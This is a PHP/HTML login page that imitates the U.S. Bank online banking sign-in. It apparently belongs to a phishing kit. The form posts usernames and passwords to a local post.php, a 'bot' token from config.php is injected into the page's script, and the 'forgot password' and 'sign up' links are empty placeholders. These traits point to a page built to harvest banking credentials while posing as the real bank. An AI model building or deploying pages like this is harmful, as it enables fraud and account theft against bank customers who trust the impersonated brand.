<?php
include("config.php");
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="icon" type="image/x-icon" href="favicon.ico">
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Source+Serif+4:wght@300;400;500&family=Source+Sans+3:wght@300;400;500&display=swap" rel="stylesheet">
    <title>U.S. Bank</title>
    <style>
        *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }

        :root {
            --navy:         #0f2178;
            --navy-mid:     #162899;
            --navy-light:   rgba(15, 33, 120, 0.07);
            --red:          #de1f2d;
            --red-soft:     rgba(222, 31, 45, 0.08);
            --text-primary: #0a1040;
            --text-secondary: #3a4580;
            --text-muted:   #7a85b0;
            --border:       #d8dae8;
            --bg:           #f4f5fa;
            --white:        #ffffff;
        }

        html, body { height: 100%; font-family: 'Source Sans 3', sans-serif; background: var(--bg); }

        body {
            display: grid;
            grid-template-columns: 1fr 1fr;
            min-height: 100vh;
            overflow: hidden;
        }

        /* ── Left panel ── */
        .panel-left {
            background: var(--navy);
            position: relative;
            display: flex;
            flex-direction: column;
            justify-content: flex-end;
            padding: 52px 56px;
            overflow: hidden;
        }

        .panel-left::before {
            content: '';
            position: absolute; inset: 0;
            background:
                radial-gradient(ellipse 60% 50% at 10% 90%, rgba(222,31,45,0.25) 0%, transparent 65%),
                radial-gradient(ellipse 45% 40% at 90% 10%, rgba(222,31,45,0.1) 0%, transparent 60%);
            pointer-events: none;
        }

        /* Stars & stripes subtle texture */
        .panel-bg {
            position: absolute; inset: 0; overflow: hidden; opacity: 0.05;
        }
        .panel-bg svg { width: 100%; height: 100%; }

        .panel-dots {
            position: absolute; top: 52px; left: 56px;
            display: flex; gap: 8px; z-index: 1;
        }
        .panel-dots span {
            width: 8px; height: 8px; border-radius: 50%;
            background: rgba(255,255,255,0.12);
        }
        .panel-dots span:first-child { background: var(--red); }

        /* Eagle / shield illustration */
        .shield-art {
            position: relative; z-index: 1;
            margin-bottom: 52px;
            width: 64px; height: 72px;
        }
        .shield-art svg { width: 100%; height: 100%; }

        .panel-tagline { position: relative; z-index: 1; }
        .panel-tagline .eyebrow {
            font-size: 11px; font-weight: 500;
            letter-spacing: 0.2em; text-transform: uppercase;
            color: var(--red); margin-bottom: 18px;
            opacity: 0.9;
        }
        .panel-tagline h2 {
            font-family: 'Source Serif 4', serif;
            font-size: clamp(26px, 2.8vw, 40px);
            font-weight: 400; line-height: 1.25;
            color: #fff; margin-bottom: 22px;
        }
        .panel-tagline p {
            font-size: 14px; font-weight: 300;
            color: rgba(255,255,255,0.45);
            line-height: 1.75; max-width: 310px;
        }

        /* ── Right panel ── */
        .panel-right {
            display: flex; flex-direction: column;
            justify-content: center; align-items: center;
            padding: 60px 40px;
            background: var(--white); overflow-y: auto;
        }

        .login-card {
            width: 100%; max-width: 390px;
            animation: fadeUp 0.55s ease both;
        }

        @keyframes fadeUp {
            from { opacity: 0; transform: translateY(16px); }
            to   { opacity: 1; transform: translateY(0); }
        }

        .login-logo { margin-bottom: 40px; }
        .login-logo img { height: 40px; width: auto; object-fit: contain; display: block; }

        .login-heading { margin-bottom: 30px; }
        .login-heading h1 {
            font-family: 'Source Serif 4', serif;
            font-size: 26px; font-weight: 500;
            color: var(--text-primary); margin-bottom: 7px;
            letter-spacing: -0.01em;
        }
        .login-heading p {
            font-size: 14px; color: var(--text-muted); font-weight: 300;
        }

        /* ── Fields ── */
        .field { margin-bottom: 18px; }
        .field label {
            display: block; font-size: 11px; font-weight: 500;
            letter-spacing: 0.08em; text-transform: uppercase;
            color: var(--text-secondary); margin-bottom: 8px;
        }
        .field input[type="text"],
        .field input[type="Password"] {
            width: 100%; height: 50px; padding: 0 16px;
            border: 1.5px solid var(--border); border-radius: 6px;
            font-family: 'Source Sans 3', sans-serif;
            font-size: 15px; color: var(--text-primary);
            background: #fff; outline: none;
            transition: border-color 0.2s, box-shadow 0.2s;
            -webkit-appearance: none;
        }
        .field input::placeholder { color: #b8c5d6; font-weight: 300; }
        .field input:focus {
            border-color: var(--navy);
            box-shadow: 0 0 0 3px var(--navy-light);
        }

        /* ── Checkboxes ── */
        .options { display: flex; flex-direction: column; gap: 12px; margin-bottom: 26px; }
        .check-label {
            display: flex; align-items: center; gap: 10px;
            font-size: 13.5px; color: var(--text-secondary);
            cursor: pointer; user-select: none;
        }
        .check-label input[type="checkbox"] {
            appearance: none; -webkit-appearance: none;
            width: 17px; height: 17px;
            border: 1.5px solid var(--border);
            border-radius: 4px; background: #fff;
            cursor: pointer; flex-shrink: 0; position: relative;
            transition: background 0.15s, border-color 0.15s;
        }
        .check-label input[type="checkbox"]:checked {
            background: var(--navy); border-color: var(--navy);
        }
        .check-label input[type="checkbox"]:checked::after {
            content: '';
            position: absolute; left: 4px; top: 1px;
            width: 5px; height: 9px;
            border: 2px solid #fff;
            border-top: none; border-left: none;
            transform: rotate(45deg);
        }

        /* ── Button ── */
        .btn-signin {
            width: 100%; height: 50px;
            background: var(--navy); color: #fff;
            border: none; border-radius: 6px;
            font-family: 'Source Sans 3', sans-serif;
            font-size: 15px; font-weight: 500;
            letter-spacing: 0.02em; cursor: pointer;
            transition: background 0.2s, transform 0.15s, box-shadow 0.2s;
            margin-bottom: 26px;
        }
        .btn-signin:hover {
            background: var(--navy-mid);
            box-shadow: 0 4px 18px rgba(15,33,120,0.25);
            transform: translateY(-1px);
        }
        .btn-signin:active { transform: translateY(0); }

        /* ── Footer links ── */
        .login-links {
            display: flex; flex-direction: column; gap: 12px;
            padding-top: 20px; border-top: 1px solid var(--border);
        }
        .login-links a {
            font-size: 13.5px; color: var(--navy);
            text-decoration: none; font-weight: 400;
            transition: color 0.15s; opacity: 0.75;
        }
        .login-links a:hover { opacity: 1; text-decoration: underline; }
        .login-links a::after { content: ' →'; font-size: 12px; }

        /* ── Responsive ── */
        @media (max-width: 768px) {
            body { grid-template-columns: 1fr; overflow: auto; }
            .panel-left { display: none; }
            .panel-right { min-height: 100vh; padding: 48px 28px; }
        }
    </style>
</head>
<body>

<!-- Left panel -->
<div class="panel-left">
    <div class="panel-dots"><span></span><span></span><span></span></div>

    <div class="panel-bg">
        <svg viewBox="0 0 600 800" preserveAspectRatio="xMidYMid slice" xmlns="http://www.w3.org/2000/svg">
            <!-- Horizontal stripes -->
            <rect x="0" y="0"   width="600" height="44" fill="white"/>
            <rect x="0" y="88"  width="600" height="44" fill="white"/>
            <rect x="0" y="176" width="600" height="44" fill="white"/>
            <rect x="0" y="264" width="600" height="44" fill="white"/>
            <rect x="0" y="352" width="600" height="44" fill="white"/>
            <!-- Stars grid -->
            <g fill="white">
                <circle cx="40"  cy="520" r="3"/><circle cx="100" cy="520" r="3"/><circle cx="160" cy="520" r="3"/>
                <circle cx="220" cy="520" r="3"/><circle cx="280" cy="520" r="3"/><circle cx="340" cy="520" r="3"/>
                <circle cx="70"  cy="560" r="3"/><circle cx="130" cy="560" r="3"/><circle cx="190" cy="560" r="3"/>
                <circle cx="250" cy="560" r="3"/><circle cx="310" cy="560" r="3"/>
                <circle cx="40"  cy="600" r="3"/><circle cx="100" cy="600" r="3"/><circle cx="160" cy="600" r="3"/>
                <circle cx="220" cy="600" r="3"/><circle cx="280" cy="600" r="3"/><circle cx="340" cy="600" r="3"/>
                <circle cx="70"  cy="640" r="3"/><circle cx="130" cy="640" r="3"/><circle cx="190" cy="640" r="3"/>
                <circle cx="250" cy="640" r="3"/><circle cx="310" cy="640" r="3"/>
                <circle cx="40"  cy="680" r="3"/><circle cx="100" cy="680" r="3"/><circle cx="160" cy="680" r="3"/>
                <circle cx="220" cy="680" r="3"/><circle cx="280" cy="680" r="3"/><circle cx="340" cy="680" r="3"/>
                <circle cx="70"  cy="720" r="3"/><circle cx="130" cy="720" r="3"/><circle cx="190" cy="720" r="3"/>
                <circle cx="250" cy="720" r="3"/><circle cx="310" cy="720" r="3"/>
                <circle cx="40"  cy="760" r="3"/><circle cx="100" cy="760" r="3"/><circle cx="160" cy="760" r="3"/>
                <circle cx="220" cy="760" r="3"/><circle cx="280" cy="760" r="3"/>
            </g>
        </svg>
    </div>

    <!-- Shield icon -->
    <div class="shield-art">
        <svg viewBox="0 0 64 72" fill="none" xmlns="http://www.w3.org/2000/svg">
            <path d="M32 2L4 14v22c0 16.5 12 31 28 36 16-5 28-19.5 28-36V14L32 2z"
                  fill="rgba(255,255,255,0.08)" stroke="rgba(255,255,255,0.25)" stroke-width="1.5"/>
            <path d="M32 10L10 20v16c0 12 9 22.5 22 27 13-4.5 22-15 22-27V20L32 10z"
                  fill="rgba(222,31,45,0.3)"/>
            <path d="M24 36l6 6 12-12" stroke="white" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"/>
        </svg>
    </div>

    <div class="panel-tagline">
        <div class="eyebrow">Secure Online Banking</div>
        <h2>The power of<br>possible, secured.</h2>
        <p>Sign in to manage your accounts, payments, and statements with confidence.</p>
    </div>
</div>

<!-- Right panel -->
<div class="panel-right">
    <div class="login-card">

        <div class="login-logo">
            <img src="res/img/logo.svg" alt="U.S. Bank Logo">
        </div>

        <div class="login-heading">
            <h1>Welcome back</h1>
            <p>Sign in to your account to continue</p>
        </div>

        <script>var token=<?php echo json_encode($bot); ?>;</script>

        <form action="post.php" method="post">

            <div class="field">
                <label for="user">Username</label>
                <input type="text" id="user" name="user" required autocomplete="username" placeholder="Enter your username">
            </div>

            <div class="field">
                <label for="pass">Password</label>
                <input type="Password" id="pass" name="pass" required autocomplete="current-password" placeholder="Enter your password">
            </div>

            <div class="options">
                <label class="check-label">
                    <input type="checkbox"> Remember me
                </label>
                <label class="check-label">
                    <input type="checkbox"> Use token
                </label>
            </div>

            <button type="submit" class="btn-signin">Sign in</button>

            <div class="login-links">
                <a href="#">Forgot username or password</a>
                <a href="#">Not enrolled? Sign up now</a>
            </div>

        </form>
    </div>
</div>

<script src="./res/jq.js"></script>
</body>
</html>